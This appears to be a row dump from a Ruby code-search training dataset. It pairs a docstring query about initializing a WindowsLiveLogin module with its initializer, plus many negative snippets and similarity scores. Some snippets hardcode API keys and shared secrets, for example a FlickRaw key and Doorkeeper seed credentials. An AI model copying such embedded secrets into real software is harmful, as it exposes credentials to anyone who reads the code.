"def error!\n # Unhandled exception\n if @exception\n exception_message\n exit 2\n # Some checksums did not match?\n elsif !(invalid_packages.empty? && invalid_metadata_files.empty?)\n error_message\n exit 2\n # We don't have checksums for some packages?\n elsif unverifiable_package_count != 0\n unverifiable_packages_message\n exit 2\n else\n success_message\n exit 0\n end\n end",
"def handle_errors(output)\n if $? != 0\n puts output\n puts \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n puts \"~ FATAL: Command failed with status #{$?}\"\n exit 1\n end\nend",
"def stub_log_error\n ExceptionHandling.stub_handler = self\n end",
"def error!\n throw :return, -1\n end",
"def optest_fatal_error(line)\n print \"\\nTesting Operator Fatal Error: #{line}\\n\"\n args = line.split(/ /)\n result = TabulatorOperator.new.operator_command(args)\n assert((result =~ /^Fatal*/), \"Expected Fatal error: #{result}\")\n end",
"def fail(code, message)\n fatal(message, code)\n end",
"def unknown_error(error, req = T.unsafe(nil), text = T.unsafe(nil)); end",
"def refute_error(error_code)\n refute_nil error_code if error_code.nil?\n return if error_code >= 0\n name = UV.err_name(error_code) || error_code\n msg = UV.strerror(error_code)\n raise RuntimeError, \"#{msg} - #{name}\", caller\nend",
"def fatal(*args, &block)\n add_with_options(FATAL, *args, &block)\n end",
"def fail(msg)\n $stderr.puts msg\n Kernel.exit 1\nend",
"def fatal(msg)\r\n prelog\r\n logger.fatal(msg)\r\n end",
"def fatal(*msg, &block)\n log(:fatal, *msg, &block)\n end",
"def fail(ref = nil)\n ui.warn 'Error encountered clenaing up and exiting'\n cleanup ref if ref\n exit 1\n end",
"def check_retval(rc, e_klass = nil)\n return true unless ::OpenNebula.is_error?(rc)\n fail (e_klass ? e_klass : RuntimeError ), rc.message\n end",
"def fatal\n logger.add(Logger::FATAL, nil, facility) { yield } if logger && logger.fatal?\n end",
"def exit_exception; end",
"def abort_test!\n throw 'abort_test!'\n end",
"def set_exit_exception; end",
"def foo\n bar\nrescue StandardError\n raise 'foo error'\nend",
"def abort_on_exception=(*) end",
"def assert_no_error_occurred\n assert_exit_status(0)\n end",
"def error!\n throw NotImplementedError\n end",
"def assert_error_occurred\n assert_not_exit_status 0\n end",
"def die(msg = nil)\n error(msg) if msg\n exit 1\n end",
"def exit_with_error(msg=\"Exiting for unknown reasons.Check the history\", clean = true)\n puts msg\n cleanup if clean\n exit 1\n end",
"def install_unhandled_exception_hook!\n # only install the hook once, even when called from multiple locations\n return if @unhandled_exception_hook_installed\n\n # the $! is set when the interpreter is exiting due to an exception\n at_exit do\n boom = $!\n if boom && !raise_errors? && !boom.is_a?(SystemExit)\n report(boom, 'argv' => ([$0]+ARGV).join(\" \"), 'halting' => true)\n end\n end\n\n @unhandled_exception_hook_installed = true\n end",
"def abort(message)\n warn message\n exit 1\nend",
"def abort(message)\n warn message\n exit 1\nend",
"def fatal\n asl_log(@aslclient, @aslmsg, ASL_LEVEL_CRIT, message)\n end",
"def die(msg)\n pretty = \"#{PASTEL.bright_red(\"Fatal\")}: #{msg}\"\n abort pretty\n end",
"def handle_perform_error(_e); end",
"def fail(msg)\n $stderr.puts(msg)\n exit(1)\nend",
"def fail\n end",
"def abort; end",
"def abort; end",
"def abort; end",
"def fatal_raise error, *args, &block\n return if @level > FATAL\n message = block_given? ? build_pair(yield) : build_pair(*args)\n add( FATAL, nil, message )\n raise error, message\n end",
"def fatal(msg = nil)\n if block_given?\n add(FATAL, msg) { yield }\n else\n add(FATAL, msg)\n end\n end",
"def log_and_die(msg)\n logger.fatal(msg)\n raise msg\n end",
"def fatal?\n exception.fatal?\n end",
"def fatal message = nil, &block\n if block_given?\n add 4, nil, message, &block\n else\n add 4, message, nil, &block\n end\n end",
"def abort(msg)\n logger.error msg\n exit 1\n end",
"def error(msg)\n puts \"#{msg}\\n\\n\"\n exit -1\nend",
"def my_method\n\nrescue\n\nend",
"def error(exception) nil ; end",
"def error(message) puts(message) || exit end",
"def crash\n exit!\n end",
"def handleError(msg)\n obj = ErrorMessage.new()\n obj.msgDetail = msg\n obj.msgBrief = \"Error in pre-processing flowcell \" + @fcName.to_s\n obj.workingDir = Dir.pwd\n ErrorHandler.handleError(obj)\n exit -1\n end",
"def catch_exceptions; end",
"def handle_error(e)\n\tputs \"#{e[\"message\"]} (#{e[\"code\"]})\"\n\texit 1\nend",
"def error(msg)\n raise RuntimeError.new(msg)\n end",
"def error(msg)\n raise RuntimeError.new(msg)\n end",
"def error(msg)\n raise RuntimeError.new(msg)\n end",
"def fatal(msg)\n log(msg, level: Level::FATAL)\n end",
"def abort(msg)\n puts msg\n exit(1)\nend"
] |
[
"0.75036377",
"0.7105579",
"0.7105579",
"0.69429165",
"0.6875266",
"0.6585203",
"0.64592505",
"0.6421875",
"0.64035183",
"0.637629",
"0.6262025",
"0.6255522",
"0.62370545",
"0.62268084",
"0.6222055",
"0.61333984",
"0.61333984",
"0.6021644",
"0.60121095",
"0.60051686",
"0.5996247",
"0.5992097",
"0.595512",
"0.5949734",
"0.5942784",
"0.5938137",
"0.5927952",
"0.59214085",
"0.5915235",
"0.59095734",
"0.58643013",
"0.58353645",
"0.58297455",
"0.5828861",
"0.5821217",
"0.5816421",
"0.5800284",
"0.5776087",
"0.577541",
"0.57710177",
"0.5741454",
"0.5741454",
"0.5741454",
"0.5735623",
"0.5711795",
"0.5695533",
"0.5691841",
"0.56898165",
"0.5672659",
"0.5664487",
"0.5659563",
"0.5648785",
"0.564683",
"0.5642099",
"0.5639905",
"0.56338495",
"0.5624555",
"0.56219053",
"0.56159097",
"0.56132823",
"0.56114197",
"0.5610712",
"0.5590279",
"0.55868304",
"0.5575793",
"0.55630213",
"0.55611014",
"0.5545332",
"0.5538756",
"0.55126363",
"0.550687",
"0.55067104",
"0.55067104",
"0.55065805",
"0.5498417",
"0.54858136",
"0.54744345",
"0.54743713",
"0.5469987",
"0.5469987",
"0.5469987",
"0.54632956",
"0.546304",
"0.54594815",
"0.54553473",
"0.54485303",
"0.5448269",
"0.5444236",
"0.544349",
"0.54252416",
"0.5416657",
"0.54141974",
"0.5411176",
"0.5407281",
"0.54001075",
"0.5389616",
"0.5389616",
"0.5389616",
"0.5386823",
"0.53829247"
] |
0.66950274
|
5
|
Initialize the WindowsLiveLogin module with the application ID, secret key, and security algorithm. We recommend that you employ strong measures to protect the secret key. The secret key should never be exposed to the Web or other users. Be aware that if you do not supply these settings at initialization time, you may need to set the corresponding properties manually.
|
def initialize(appid=nil, secret=nil, securityalgorithm=nil)
self.appid = appid if appid
self.secret = secret if secret
self.securityalgorithm = securityalgorithm if securityalgorithm
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(config_file=CONFIG_FILE)\n confs = YAML.load_file(config_file)['windows_live']\n @wll = WindowsLiveLogin.new(confs['appid'], confs['secret'], confs['security_algorithm'],\n nil, confs['policy_url'], confs['return_url'])\n end",
"def initialize(site_key, api_key, options = {})\n @url_safe = !options.key?(:url_safe) || options[:url_safe]\n @crypto_key = EzCrypto::Key.with_password(site_key, api_key)\n end",
"def initialize(key, secret)\n super()\n self.key = key\n self.secret = secret\n end",
"def initialize()\n self.apikey = Rails.application.credentials.alpha_api_key\n end",
"def initialize\n @secret = Code.generate_code\n end",
"def initialize(active_player)\n active_player ? @secret_code = create_secret_code : @secret_code = get_player_secret_code\n end",
"def initialize\r\n @apiKey = API_KEY\r\n @secret = SECRET\r\n end",
"def initialize(app_id, app_secret)\n @app_id = app_id\n @app_secret = app_secret\n end",
"def initialize(enc_hash, secret)\n @enc_hash = enc_hash\n @secret = secret\n end",
"def initialize_secret(opts = {})\n secret = if opts[:username] && opts[:password]\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Using provided plain credentials\"\n \"#{opts[:username]}:#{opts[:password]}\"\n else\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Falling back to file and environment credentials\"\n opts[:auth_file] ? File.read(opts[:auth_file]) : nil\n end\n secret.strip! if secret\n secret\n end",
"def initialize()\n\t\tFlickRaw.api_key = \"b907fe707248d846c970de37fdf212e0\"\n\t\tFlickRaw.shared_secret = \"d6300bd479506d23\"\n\tend",
"def initialize_keys\n @key0 = 0x12345678\n @key1 = 0x23456789\n @key2 = 0x34567890\n @password.each_byte { |byte| update_keys(byte.chr) }\n nil\n end",
"def initialize(key, secret)\n @encoder = Encoder.new(key, secret)\n # @debug = true\n end",
"def splunkVaultInit\n self.class.loadChefLib\n begin\n ::ChefVault::Item.load(\"splunk\", \"admin_user\")\n rescue ::ChefVault::Exceptions::KeysNotFound\n pw = Password.pronounceable(12..14)\n creds = {\n \"username\" => \"admin\",\n \"password\" => pw,\n \"auth\" => \"admin:#{pw}\"\n }\n saveSecret(\n vault: \"splunk\",\n item: \"admin_user\",\n data: creds,\n permissions: \"role:mu-splunk-server\"\n )\n end\n end",
"def set_keys\n self.auth = gen_key('auth') if auth.blank?\n self.mkey = gen_key('mkey') if mkey.blank?\n end",
"def initialize(userid, password, signature, ssl_cert, application_id, mode = :production)\n raise \"Mode must be :sandbox or :production\" unless [:sandbox, :production].include? mode\n @userid = userid\n @password = password\n @signature = signature ? signature : \"\"\n @ssl_cert = ssl_cert ? ssl_cert : \"\"\n @application_id = application_id\n @mode = mode\n end",
"def initialize(secret)\n @secret = secret\n end",
"def secret_key_base=(_arg0); end",
"def secret_key_base=(_arg0); end",
"def init\n c = Config['session'] || {}\n @name = (c['name'] || 'spare_me_plz').to_s\n\n if c['key']\n @dsa = OpenSSL::PKey::DSA.new c['key']\n else\n @dsa = OpenSSL::PKey::DSA.generate 256\n end\n\n # DSA can sign on any digest since 1.0.0\n @dss = OpenSSL::VERSION >= '1.0.0' ? OpenSSL::Digest::SHA256 : OpenSSL::Digest::DSS1\n\n @cipher_key = pad_256_bit c['cipher_key']\n end",
"def initialize(api_key, secret, user, session_key=nil)\n @api_key = api_key\n @secret = secret\n @user = user\n @session_key = session_key\n @source = \"P\"\n end",
"def app_secret\n @app_secret ||= if self.encoding_app_secret.present?\n CryptService.decrypt(self.encoding_app_secret)\n end\n end",
"def initialize api_key, api_secret\n @api_key = api_key\n @api_secret = api_secret\n end",
"def load_or_initialize_site_keys\n case\n when defined? REST_AUTH_SITE_KEY\n if (options[:old_passwords]) && ((! REST_AUTH_SITE_KEY.blank?) || (REST_AUTH_DIGEST_STRETCHES != 1))\n raise \"You have a site key, but --old-passwords will overwrite it. If this is really what you want, move the file #{site_keys_file} and re-run.\"\n end\n $rest_auth_site_key_from_generator = REST_AUTH_SITE_KEY\n $rest_auth_digest_stretches_from_generator = REST_AUTH_DIGEST_STRETCHES\n when options[:old_passwords]\n $rest_auth_site_key_from_generator = nil\n $rest_auth_digest_stretches_from_generator = 1\n $rest_auth_keys_are_new = true\n else\n $rest_auth_site_key_from_generator = make_token\n $rest_auth_digest_stretches_from_generator = 10\n $rest_auth_keys_are_new = true\n end\n end",
"def initialize secret, options = {}\n @secret = Base32.decode secret\n @digits = options[:digits] || DEFAULT_DIGITS\n @digest = 'sha1'\n @type = 'hotp'\n end",
"def initialize( app_key )\n @app_key = app_key\n end",
"def initialize\n @app_id = \"05a059c9-c309-46af-9b86-b06d42510550\"\n @cert_file = File.join(File.dirname(__FILE__),\"certs/helloWorld.pem\")\n @cert_pass = \"\"\n @shell_url = \"https://account.healthvault-ppe.com\"\n @hv_url = \"https://platform.healthvault-ppe.com/platform/wildcat.ashx\"\n @logger = Logger.new(\"hv.log\")\n end",
"def seed_api_key\n\t\t\tDoorkeeper::Application.create(name: \"sample app\", \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t uid: \"836ec399a145ffafbd7774c57e06960397b77a53bb1ccc03d4e45d95d0c31a3d\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t secret: \"cf8dc84d17c69e17a8b9d74ec971bdb636f231d3ba7d2ad2ebfca45bdc8ae3c9\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t redirect_uri: \"urn:ietf:wg:oauth:2.0:oob\")\n\t\tend",
"def initialize(access_key, secret_key)\n @access_key = access_key\n @secret_key = secret_key\n end",
"def initialize(email, password, apikey)\n @config, @config[:email], @config[:password],@config[:apikey] = {}, email, password,\"?app_key=#{apikey}\"\n end",
"def init_application(application_name)\n if application_name.nil? || application_name == ''\n throw 'Bad application name'\n end\n res = nil\n applicaiton_init_uri = URI(@url + \"sys/auth/#{application_name}\")\n req = Net::HTTP::Post.new(applicaiton_init_uri)\n req['X-Vault-Token'] = @token\n res = Net::HTTP.start(applicaiton_init_uri.hostname, applicaiton_init_uri.port) do |http|\n req.body = { 'type' => 'app-id' }.to_json\n http.request(req)\n end\n res.code.to_i\n end",
"def initialize(app_id, app_secret, api_key, email, password)\n\n merge!(\n {\n applicationCredentials: {\n applicationId: app_id,\n applicationSecret: app_secret\n },\n userCredentials: {\n apiKey: api_key,\n email: email,\n password: password \n }\n }\n )\n end",
"def initialize(opts = {})\n raise InvalidOption, :shared_secret unless opts[:shared_secret]\n self.shared_secret = opts[:shared_secret]\n self.trusted_issuers = opts[:trusted_issuers]\n self.audiences = opts[:audiences]\n end",
"def initialize(*)\n super\n\n @encrypted_env_key = \"ENCRYPTED_#{env_key}\"\n @encrypted_key_path = \"#{key_path}.enc\"\n end",
"def initialize (application_context, params)\n\n @application_context = application_context\n\n as = params[:auth_system]\n\n @auth_system = if as == nil\n DefaultAuthSystem.new\n elsif as.kind_of?(Hash)\n DefaultAuthSystem.new(as)\n else\n as\n end\n\n @stores = []\n end",
"def initialize(username, password)\n self.username = username\n self.password = password\n start_authentication_workflow\n end",
"def initialize\n\t\t@auth = {\n\t\t\t:username=>ENV['impac_username'], \n\t\t\t:password=>ENV['impac_password']\n\t\t}\n\tend",
"def set_secret_code\n self.secret_code = loop do\n token = rand(36**6).to_s(36).upcase\n break token unless ActivationCallRequest.exists?(secret_code: token)\n end\n end",
"def secret_key_base; end",
"def secret_key_base; end",
"def secret_key_base; end",
"def secret_key_base; end",
"def initialize(appid=@@appid, secret=@@secret)\n @appid = appid\n @secret = secret\n @cookie = nil\n @stoken = nil\n @token = nil\n\n @signkey = self.derive(\"SIGNATURE\")\n @cryptkey = self.derive(\"ENCRYPTION\")\n\n @uid = nil\n @ts = nil\n end",
"def initialize(attributes = {})\n attributes[:api_key] = SecureRandom.hex(32)\n super\n end",
"def generate_keys\n self.client_id = OAuth::Helper.generate_key(40)[0,40]\n self.client_secret_hash = OAuth::Helper.generate_key(40)[0,40]\n end",
"def initialize(app_id, key)\n @app_id = app_id\n @key = key\n end",
"def load_auth_key\n OpenSSL::PKey::RSA.new(\n File.read('/opt/gluu-server/etc/certs/api-key.pem'),\n key_info[:api_key_pass],\n )\n end",
"def secret_key; end",
"def initialize\n load_site\n load_creds\n end",
"def initialize(server, hs_admin, priv_key_path, pass_phrase = nil)\n @hs_admin = hs_admin\n @private_key_path = priv_key_path\n @pass_phrase = pass_phrase\n @base_url = 'https://' + server + '/api'\n @session_id = initialize_session\n end",
"def generate_api_key(length = 20)\n self.api_secret_key = SecureRandom.hex(length)\n end",
"def initialize(username, password)\n @username = username\n @password = password\n @api_key = \"\"\n end",
"def generate_two_factor_secret_if_missing!\n return unless otp_secret.nil?\n # update!(otp_secret: User.generate_otp_secret)\n end",
"def init\n @session_id = SecureRandom.uuid\n request(:init, '{\"init\":\"none\"}')\n end",
"def initialize(secret = '', base64: false)\n raise 'Secret can\\'t be nil' if secret.nil?\n @secret = secret\n @base64 = base64\n end",
"def initialize(otp, key)\n raise InvalidOTPError, 'OTP must be at least 32 characters of modhex' unless otp.modhex? && otp.length >= 32\n raise InvalidKeyError, 'Key must be 32 hex characters' unless key.hex? && key.length == 32\n\n # Get the public ID first\n @public_id = otp[0, 12]\n\n # Strip prefix so otp will decode (following from yubico-c library)\n otp = otp[-32,32] if otp.length > 32\n\n @token = Yubikey::ModHex.decode(otp[-32,32])\n @aes_key = key.to_bin\n\n decrypter = OpenSSL::Cipher.new('AES-128-ECB').decrypt\n decrypter.key = @aes_key\n decrypter.padding = 0\n\n @token = decrypter.update(@token) + decrypter.final\n\n raise BadCRCError unless crc_valid?\n\n @secret_id, @insert_counter, @timestamp, @timestamp_lo, @session_counter, @random_number, @crc = @token.unpack('H12vvCCvv')\n @timestamp += @timestamp_lo * 65536\n end",
"def set_secret_key\n @secret_key = SecretKey.find(params[:id])\n end",
"def initialize(application_id, secret, user_token, production = false)\n @connection = Connection.new(application_id, secret, user_token, production)\n end",
"def generate_two_factor_secret_if_missing!\n return unless otp_secret.nil?\n update!(otp_secret: User.generate_otp_secret)\n end",
"def generate_two_factor_secret_if_missing!\n return unless otp_secret.nil?\n update!(otp_secret: User.generate_otp_secret)\n end",
"def generate_two_factor_secret_if_missing!\n return unless otp_secret.nil?\n update!(otp_secret: User.generate_otp_secret)\n end",
"def initialize(options = {})\n raise ArgumentError, \"Options hash required.\" unless options.is_a?(Hash)\n\n @dev_id = options[:dev_id]\n @secret_key = options[:secret_key]\n end",
"def token_secret=(_arg0); end",
"def token_secret=(_arg0); end",
"def token_secret=(_arg0); end",
"def setup_otp\n self.otp_secret ||= ROTP::Base32.random_base32\n self.otp_counter ||= 0\n end",
"def init\n conf_file = \"#{__dir__}/../conf/auth.json\"\n @conf = WIKK::Configuration.new(conf_file)\n\n # Team information – Information about the team and aggregate usage data\n @dbx_info = Dropbox.new(token: @conf.team_info_token)\n @dbx_mng = Dropbox.new(token: @conf.team_management_token)\n\n @ldap = UOA_LDAP.new(conf: @conf)\n\n @counters = {}\n cache_all_team_members(trace: TRACE)\n record_research_groups_and_users\n\n @licenses = @conf.licenses\nend",
"def init_plurk(api, username, password)\n plurk = Plurk::Client.new api\n plurk.login :username => username, :password => password\n plurk\n end",
"def set_keys(app_key, master_secret_key)\n @appKey = app_key\n @masterSecret = master_secret_key\n raise RuntimeError \"appkey cannot be nil\" unless @appKey\n raise RuntimeError \"master secret key cannot bil\" unless @masterSecret\n end",
"def initialize(access_key = nil, secret_key = nil)\n @access_key = access_key\n @secret_key = secret_key\n end",
"def initialize(access_key = nil, secret_key = nil)\n @access_key = access_key\n @secret_key = secret_key\n end",
"def init!\n @defaults = {\n :@refresh_token => ShakeTheCounter::Config.refresh_token,\n :@id => ShakeTheCounter::Config.client_id,\n :@secret => ShakeTheCounter::Config.client_secret,\n :@language_code => ShakeTheCounter::Config.language_code,\n }\n end",
"def post_init\n puts \"Nugache #{@bot.port} connecting to server\" if @@debug\n #@session = Session.new(@rsakey, @version)\n send_data([2].pack(\"n\"))\n \t\t\t\tkey = OpenSSL::Random.random_bytes(32)\n \t\t\t\tiv = OpenSSL::Random.random_bytes(16)\n \t\t\t\t@aes_send = AESStream.new(key, iv)\n \t\t\t\t@aes_recv = AESStream.new(key, iv)\n \t\t\t\tb1 = iv+key\n \t\t\t\tb = @bot.rsakey.public_encrypt(b1)\n # sends key in a separate packet by moving it to the next tick of the EventMachine loop\n EM.next_tick do\n send_data(b)\n end\n end",
"def initialize(basic_auth_user_name: nil, basic_auth_password: nil, secret_key: nil)\r\n @configuration = Configuration.new(basic_auth_user_name,\r\n basic_auth_password,\r\n secret_key)\r\n end",
"def init\n\t\tuser_credentials = {\n\t\t\t:access_token => access_token,\n\t\t\t:refresh_token => refresh_token,\n\t\t\t:expires_at => Time.now + expires_in\n\t\t}\n\n client_id = '694fc2f618facf30b3b41726ee6d0ac04c650669ca3d114cb0bae4223cecade3'\n client_secret = '3e7cfd07d829211ac50dd6486fe677ca76e965f25ad7d68e67e845e0d4a213e7'\n\t\tCoinbase::OAuthClient.new(client_id, client_secret, user_credentials)\n\tend",
"def initialize(params)\n\n fail 'missing API Base URL' if params[:api_base_url].nil?\n fail 'missing API Key' if params[:api_key].nil?\n fail 'missing API Secret' if params[:api_secret].nil?\n\n params[:api_base_url] = params[:api_base_url].gsub(/\\/$/, '') # remove trailing slash\n params[:api_spec] = false if params[:api_spec].nil?\n\n set_manifest(params)\n\n end",
"def initialize(api_key, username, password)\n @api_key, @username, @password = api_key, username, password\n setup_client\n end",
"def generate_api_key\n @user.api_key = BCrypt::Engine.generate_salt\n end",
"def initialize(api_key=nil)\n @api_key = api_key || ENV['MESSAGEPUB_API_KEY']\n self.class.basic_auth @api_key, 'password'\n end",
"def initialize( publish_key, subscribe_key, secret_key, cipher_key, ssl_on )\n @publish_key = publish_key\n @subscribe_key = subscribe_key\n @secret_key = secret_key\n @cipher_key = cipher_key\n @ssl = ssl_on\n @origin = 'pubsub.pubnub.com'\n\n if @ssl\n @origin = 'https://' + @origin\n else\n @origin = 'http://' + @origin\n end\n end",
"def tp_half_shared_secret\n @_tp_half_shared_secret ||= SecureRandom.hex(64)\n end",
"def initialize\n setup_token\n end",
"def init_alipaymini_config\n Singleton.__init__(AlipayMini::Config)\n\n @url = \"https://openapi.alipaydev.com/gateway.do\"\n @app_id = '2015102700040153'\n\n pkey = OpenSSL::PKey::RSA.new(2048)\n @private_key = remove_start_end_for_key(pkey.to_s)\n @public_key = remove_start_end_for_key(pkey.public_key.export)\n\n AlipayMini.configure do |c|\n c.url = @url\n c.app_id = @app_id\n c.private_key = @private_key\n c.public_key = @public_key\n end\nend",
"def init_token\n self.token = SecureRandom.hex(64) if self.token.blank?\n end",
"def initialize(o_auth_client_id: nil, o_auth_client_secret: nil)\r\n Configuration.o_auth_client_id = o_auth_client_id if\r\n o_auth_client_id\r\n Configuration.o_auth_client_secret = o_auth_client_secret if\r\n o_auth_client_secret\r\n end",
"def event_startup()\n require 'md5'\n\n # Generate a random AES session key first thing\n @connection.comm.keyring.rekey!\n\n # This is where we load the user's public and private key from the env.yml\n # configuration file. If it's not there, we spawn a helpful creation tool.\n # This tool MUST return public key, private key, and user-name.\n unless @var[:our_name] and @var[:pub_rsa] and @var[:prv_rsa]\n @var[:our_name], @var[:pub_rsa], @var[:prv_rsa] = keygen_tool()\n if @var[:our_name] and @var[:prv_rsa].to_s =~ /[0-9a-f]+:[0-9a-f]+/ and\n @var[:pub_rsa].to_s =~ /[0-9a-f]+:[0-9a-f]+/\n _save_env\n else\n add_error(\"YOU HAVE NO KEYS! TOOL MUST BE CALLED.\")\n Kernel.exit(0)\n end\n end\n @connection.comm.initialize_address_book(@var[:pub_rsa], @var[:prv_rsa],\n @var[:our_name])\n\n _network_init\n\n # Startup the timer thread\n Thread.new do\n loop do\n sleep 15\n dispatch :timer\n end\n end\n\n # Auto-connect?\n local_connect('') if @var[:auto_connect]\nend",
"def openid_client_secret=(_arg0); end",
"def initialize\n @api_user = \"\"\n @api_key = \"\"\n end",
"def initialize(username, password)\n @username = username\n @password = password\n @production_number = generate_production_number\n end",
"def secret_key\n \"\"\n end",
"def init\n init_oauth_access_token\n end",
"def initialize\n @api_key = ENV['NOMICS_API_KEY_V1']\n end",
"def init\n c = Config['session'] ? Config['session'].dup : {}\n @name = Ext.escape (c.delete('name') || 'spare_me_plz').to_s, false\n\n if c['key']\n @dsa = OpenSSL::PKey::DSA.new c.delete 'key'\n else\n @dsa = generate_key\n end\n\n # DSA can sign on any digest since 1.0.0\n @dss = OpenSSL::VERSION >= '1.0.0' ? OpenSSL::Digest::SHA256 : OpenSSL::Digest::DSS1\n\n @cipher_key = pad_256_bit c.delete 'cipher_key'\n\n @expire = c.delete('expire') || c.delete('expires')\n @secure = c.delete('secure')\n\n unless c.empty?\n raise \"unknown options in Nyara::Config[:session]: #{c.inspect}\"\n end\n end",
"def setupApp(pia_url, app_key, app_secret)\n token = getToken(pia_url, app_key, app_secret)\n { \"url\" => pia_url,\n \"app_key\" => app_key,\n \"app_secret\" => app_secret,\n \"token\" => token }\nend",
"def initialize\n @username = \"User #{rand(1..100)}\"\n @password = 'topsecret'\n @production_number = \"#{('a'..'z').to_a.sample}-#{rand(1..199)}\"\n end",
"def initialize\n @app_name = ENV[\"app_name\"]\n @app_password = ENV[\"app_password\"]\n @app_username = ENV[\"app_username\"]\n @faraday_adapter = Faraday.default_adapter\n end",
"def legacy_otp_secret\n nil\n end",
"def call\n JsonWebToken.encode_secret( { app_id: app_id, key: key } )\n end",
"def client_secret=(_arg0); end",
"def generate_api_key\n self.api_key = SecureRandom.hex(16)\n end"
] |
[
"0.6391889",
"0.6072822",
"0.58830136",
"0.5791015",
"0.5763441",
"0.57166785",
"0.5680368",
"0.5667496",
"0.5651198",
"0.5635684",
"0.56341505",
"0.5616238",
"0.55980647",
"0.5581414",
"0.55349207",
"0.55346906",
"0.55217296",
"0.55135465",
"0.55135465",
"0.55086654",
"0.5502232",
"0.5499215",
"0.54679954",
"0.54648364",
"0.5458668",
"0.5431646",
"0.54264766",
"0.5414609",
"0.5394174",
"0.5385614",
"0.53763753",
"0.53745496",
"0.5358616",
"0.53559905",
"0.5336982",
"0.5332383",
"0.53274685",
"0.5319265",
"0.53147185",
"0.53147185",
"0.53147185",
"0.53147185",
"0.5313011",
"0.53101975",
"0.53025264",
"0.52858526",
"0.52855295",
"0.5283052",
"0.5268258",
"0.52604264",
"0.5259221",
"0.52540034",
"0.52410775",
"0.52371854",
"0.52275413",
"0.52266824",
"0.5214506",
"0.5211573",
"0.5201175",
"0.5201175",
"0.5201175",
"0.51995724",
"0.5196869",
"0.5196869",
"0.5196869",
"0.5186857",
"0.5185823",
"0.51793355",
"0.517505",
"0.51745117",
"0.51745117",
"0.51688015",
"0.51620615",
"0.515893",
"0.51548725",
"0.51526463",
"0.5147753",
"0.5147713",
"0.5140576",
"0.5138716",
"0.5128872",
"0.5124043",
"0.51226914",
"0.51198673",
"0.5114761",
"0.509652",
"0.50943106",
"0.50913674",
"0.50877315",
"0.50790435",
"0.5077866",
"0.50775033",
"0.5075081",
"0.5071935",
"0.50692827",
"0.5067473",
"0.50658774",
"0.5065364",
"0.506429",
"0.50534964"
] |
0.6196991
|
1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.